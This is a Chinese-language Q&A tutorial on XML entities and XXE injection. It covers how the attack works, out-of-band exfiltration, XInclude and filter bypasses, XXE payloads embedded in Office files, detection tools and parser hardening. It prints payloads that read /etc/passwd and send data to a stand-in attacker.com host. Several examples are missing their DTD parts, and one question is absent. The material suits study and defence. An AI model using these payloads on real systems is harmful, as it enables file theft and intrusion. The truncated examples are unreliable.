1. 什么是 XML?XML 的文档格式是怎么样的?
XML 定义:XML(可扩展标记语言,eXtensible Markup Language)是一种用于存储和传输结构化数据的标记语言,重点在于数据的结构和含义,而非展示(区别于 HTML)。其标签可自定义,具有极强的可扩展性。
文档格式: 一个标准的 XML 文档结构包括:
XML 声明:位于文档开头,定义版本和编码(如
<?xml version="1.0" encoding="UTF-8"?>
)。根元素:整个文档的唯一顶级元素,所有其他元素都是其后代(如
<root>...</root>
)。子元素:嵌套在根元素或其他元素中的标记,需正确闭合(如
<user><name>test</name></user>
)。属性:元素的附加信息,以键值对形式存在(如
<user id="123">test</user>
)。注释:以
<!-- 注释内容 -->
表示,不被解析器处理。
<bookstore> <book category="fiction"> <title>XXE 安全指南</title> <author>安全研究员</author> </book> </bookstore>
2. XML 中什么是实体?
实体是 XML 中的占位符,用于表示特定内容,可理解为 “变量”。常见类型包括:
预定义实体:XML 内置的实体,用于表示特殊字符(如
<
代表<
,>
代表>
)。内部实体:在 DTD 中定义的本地实体,仅在当前 XML 文档中有效。 格式:
<!ENTITY 实体名 "实体值">
示例:<!ENTITY author "安全研究员">
,使用时<name>&author;</name>
会被替换为 “安全研究员”。外部实体:引用外部资源(文件、URL 等)的实体,是 XXE 漏洞的核心。 格式:
<!ENTITY 实体名 SYSTEM "外部资源路径">
示例:<!ENTITY xxe SYSTEM "file:///etc/passwd">
,解析时会读取本地/etc/passwd
文件。参数实体:仅在 DTD 中使用的实体,以
%
开头,用于简化 DTD 定义。 格式:<!ENTITY % 实体名 "实体值">
示例:<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;
(引用外部 DTD)。
3. DTD 相关知识详解
DTD(文档类型定义,Document Type Definition)是 XML 的结构定义语言,用于规定 XML 文档的合法元素、属性、嵌套关系等。其核心作用是确保 XML 文档的结构化和有效性。
DTD 的两种形式:
内部 DTD:定义在 XML 文档内部,通过
<!DOCTYPE 根元素 [DTD内容]>
声明。示例:
<root><user><name>test</name></user></root>
外部 DTD:定义在外部文件中,通过
<!DOCTYPE 根元素 SYSTEM "外部DTD路径">
引用。 示例:<!DOCTYPE root SYSTEM "http://example.com/structure.dtd">
DTD 与实体的关系:实体(尤其是外部实体)通常在 DTD 中定义,这也是 XXE 漏洞的关键 —— 攻击者通过构造恶意 DTD,注入外部实体实现攻击。
4. 什么是 XXE 漏洞?
XXE(XML External Entity Injection,XML 外部实体注入)漏洞是指当应用程序解析不可信的 XML 输入时,未正确限制外部实体的引用,导致攻击者可通过构造恶意 XML 文档,读取本地文件、探测内网、执行远程代码(部分场景)等。
其核心是滥用 XML 外部实体:攻击者在 XML 的 DTD 中定义外部实体,引用本地文件或远程资源,XML 解析器会执行该引用,导致信息泄露或其他危害。
5. XXE 漏洞的原理是什么?
XXE 漏洞的原理基于 XML 解析器对外部实体的处理机制:
应用程序接收并解析用户提交的 XML 数据(如 API 接口、文件上传等场景)。
攻击者构造的 XML 文档中包含恶意 DTD,定义了引用外部资源(如本地文件、远程服务器)的外部实体。
若 XML 解析器未禁用外部实体功能(默认配置可能允许),会解析该外部实体,读取引用的资源内容或向远程服务器发送请求。
解析结果可能通过应用程序响应回显给攻击者(有回显),或需通过外带方式获取(无回显)。
6. XXE 漏洞形成原因是什么?
XXE 漏洞的形成主要源于以下几点:
解析器配置不当:XML 解析器默认启用外部实体解析(如 Java、Python 等语言的解析库默认允许外部实体)。
输入验证缺失:应用程序未对用户提交的 XML 数据进行严格过滤,允许包含恶意 DTD、ENTITY 等关键字的内容。
开发人员安全意识不足:未意识到 XML 外部实体的风险,直接解析不可信的 XML 输入。
依赖外部资源:应用程序设计中需要解析外部 XML 资源,未限制来源和内容。
7. XXE 有什么危害?
XXE 漏洞的危害包括:
读取本地敏感文件:通过外部实体引用
file:///etc/passwd
、file:///proc/self/environ
等路径,获取系统配置、用户数据、密钥等。探测内部网络:通过引用内网 IP 和端口(如
http://192.168.1.1:8080
),探测内网主机存活和服务端口。远程代码执行(部分场景):在特定解析器或环境中(如结合 PHP 的 expect 模块),可执行系统命令(较罕见)。
拒绝服务(DoS):引用超大文件或无限循环的外部资源,耗尽服务器资源。
信息泄露:获取应用程序源码、数据库凭证等敏感信息,为后续攻击铺路。
8. XXE 如何利用?
XXE 的利用步骤如下(以读取本地文件为例):
构造恶意 XML 文档:包含 DTD 声明和外部实体,引用目标文件。
示例(有回显场景):
<root>&xxe;</root>
提交 XML 数据:将构造的 XML 发送到应用程序的 XML 解析端点(如 API 接口、文件上传功能)。
获取结果:若应用程序回显解析结果,可直接看到
/etc/passwd
的内容;若无回显,需通过外带数据方式(如向攻击者服务器发送请求)获取。
9. 无回显场景下如何利用 XXE 漏洞外带数据?
无回显场景(解析结果不直接返回)下,需通过外带数据将信息发送到攻击者控制的服务器,常用方法:
HTTP/FTP 外带:构造外部实体引用攻击者的 HTTP/FTP 服务器,将读取的文件内容作为 URL 参数或路径的一部分。 示例:
<root>&xxe;</root>
解析时,
%file
会被替换为/etc/passwd
内容,攻击者服务器日志中可看到该数据。DNS 日志外带:利用 DNS 解析记录,将数据编码后作为域名的一部分(需结合 DNSlog 平台)。 示例:
<!ENTITY xxe SYSTEM "http://{base64(文件内容)}.attacker.com">
,DNS 服务器会记录包含文件内容的域名解析请求。参数实体嵌套:通过多层参数实体拼接数据,最终发送到攻击者服务器。
10. XInclude 攻击是什么?
XInclude 是 XML 的一项标准,用于在 XML 文档中包含其他 XML 文档的部分内容(类似 “文件包含”)。XInclude 攻击是指攻击者利用 XInclude 功能,在禁用外部 DTD 的场景下,绕过防御并注入外部实体。
原理:若应用程序支持 XInclude 且未限制其使用,攻击者可构造包含 XInclude 元素的 XML 片段,引用外部资源。 示例:
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
解析时会包含 /etc/passwd
的内容,无需声明 DTD,可绕过对 DOCTYPE、ENTITY 的过滤。
11. CSRF、XSS 和 XXE 的区别是什么?
维度 | CSRF(跨站请求伪造) | XSS(跨站脚本) | XXE(XML 外部实体注入) |
---|---|---|---|
攻击对象 | 服务器(利用用户身份执行操作) | 客户端浏览器(窃取用户信息) | XML 解析器(读取文件、探测内网) |
原理 | 伪造用户的合法请求(利用会话标识) | 注入恶意脚本(JavaScript) | 注入恶意 XML 外部实体 |
核心目标 | 执行非预期操作(如转账、改密码) | 窃取 Cookie、钓鱼、会话劫持 | 信息泄露、内网探测、远程代码执行 |
依赖条件 | 用户已登录目标网站,且访问攻击者链接 | 应用程序未过滤用户输入的 HTML/JS | 应用程序解析不可信 XML,允许外部实体 |
12. XXE 挖掘思路是什么?
XXE 漏洞的挖掘可从以下角度入手:
寻找 XML 输入点:排查应用程序中接受 XML 数据的功能,如 API 接口(Content-Type 为 application/xml)、文件上传(.xml、.docx、.xlsx 等含 XML 的文件)、配置导入功能、SOAP 服务、RSS 订阅解析。
测试外部实体支持:向 XML 输入点提交包含外部实体的 Payload(如引用
http://attacker.com/test
),监控攻击者服务器是否收到请求。验证文件读取:尝试引用本地文件(如
file:///etc/passwd
),检查响应是否包含文件内容(有回显)或通过外带方式确认(无回显)。测试 XInclude 绕过:若禁用了 DTD,尝试构造 XInclude 元素(如
<xi:include href="file:///etc/passwd"/>
),检测是否生效。结合文件上传:上传包含恶意 XML 的 Office 文件(如.docx),解析时可能触发 XXE。
检查解析器配置:通过错误信息或公开文档,判断 XML 解析器是否默认允许外部实体。
14. XXE 的防御措施有哪些?
防御 XXE 漏洞的核心是限制 XML 解析器对外部实体的处理,具体措施:
禁用外部实体:在解析器中配置禁用外部实体和参数实体。
Java:
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Python(lxml):
lxml.etree.XMLParser(resolve_entities=False)
PHP:
libxml_disable_entity_loader(true);
过滤输入:严格验证用户提交的 XML 数据,拒绝包含
DOCTYPE
、ENTITY
、SYSTEM
、PUBLIC
等关键字的内容。使用安全解析器:选择默认禁用外部实体的 XML 解析库,避免使用老旧或配置宽松的解析器。
避免解析不可信 XML:尽量使用 JSON 等格式替代 XML 传输数据;若必须使用,仅解析可信来源的 XML。
处理文件上传:对上传的 Office 文件(如.docx),解析前先解压并清理其中的 XML 内容,移除恶意 DTD 和实体。
15. XXE 漏洞的检测工具有哪些?
Burp Suite:通过 Repeater 模块构造 XML Payload,测试目标端点是否支持外部实体;结合 Intruder 批量测试路径。
OWASP ZAP:自动化扫描包含 XML 输入的 URL,检测是否存在 XXE 漏洞。
xmllint:命令行工具,用于测试 XML 解析是否支持外部实体(如
xmllint --noent test.xml
检查是否解析外部实体)。自定义脚本:编写 Python/Shell 脚本,向目标发送包含外部实体的 XML,监控攻击者服务器的请求日志。
商业工具:Nessus、Qualys 等漏洞扫描器,包含 XXE 检测模块。
Office 文件检测工具:如 oletools,可分析 Office 文件中是否包含恶意 XML 内容。
16. XXE 过滤 system 和 public 怎么绕过?
若应用程序过滤了 SYSTEM
和 PUBLIC
关键字,可通过以下方式绕过:
大小写混淆:如
System
、SYSTEM
、sYstEm
等,部分过滤规则仅检测小写或大写。编码绕过:对关键字进行 URL 编码(如
%53%59%53%54%45%4D
代表SYSTEM
)、HTML 实体编码(如&SYSTEM
)。使用参数实体:通过参数实体间接引用外部资源,如:
利用 XInclude:不依赖
SYSTEM
/PUBLIC
,直接用 XInclude 元素引用外部文件(如<xi:include href="file:///etc/passwd"/>
)。协议替换:使用其他协议(如
file
、ftp
、gopher
),部分解析器支持非 HTTP 协议。
17. Excel 存在 XXE 漏洞吗?
是的,Excel 文件(尤其是 .xlsx
格式)可能存在 XXE 漏洞。
原理:
.xlsx
本质是包含多个 XML 文件的 ZIP 压缩包(如xl/workbook.xml
定义表格结构)。若攻击者构造包含恶意 XML 的.xlsx
文件,当应用程序解析该文件时(如上传后预览、导入数据),可能触发 XXE。场景:服务器端解析 Excel 文件的功能(如报表导入),若未清理 XML 内容,易受攻击。
18. Oxml_xxe 工作原理以及可以向哪些文件中嵌入 XXE 的 Payload?
工作原理:oxml_xxe 是一个用于生成包含 XXE Payload 的 Office 文件的工具。Office 文件(如
.docx
、.xlsx
、.pptx
)本质是 ZIP 压缩包,内部包含大量 XML 文件。oxml_xxe 通过修改这些 XML 文件,插入恶意 DTD 和外部实体定义,当文件被解析时,触发 XXE 漏洞。可嵌入的文件类型:所有基于 Open XML 格式的 Office 文件,包括:
Word 文档(
.docx
)Excel 表格(
.xlsx
)PowerPoint 演示文稿(
.pptx
)OpenDocument 格式文件(
.odt
、.ods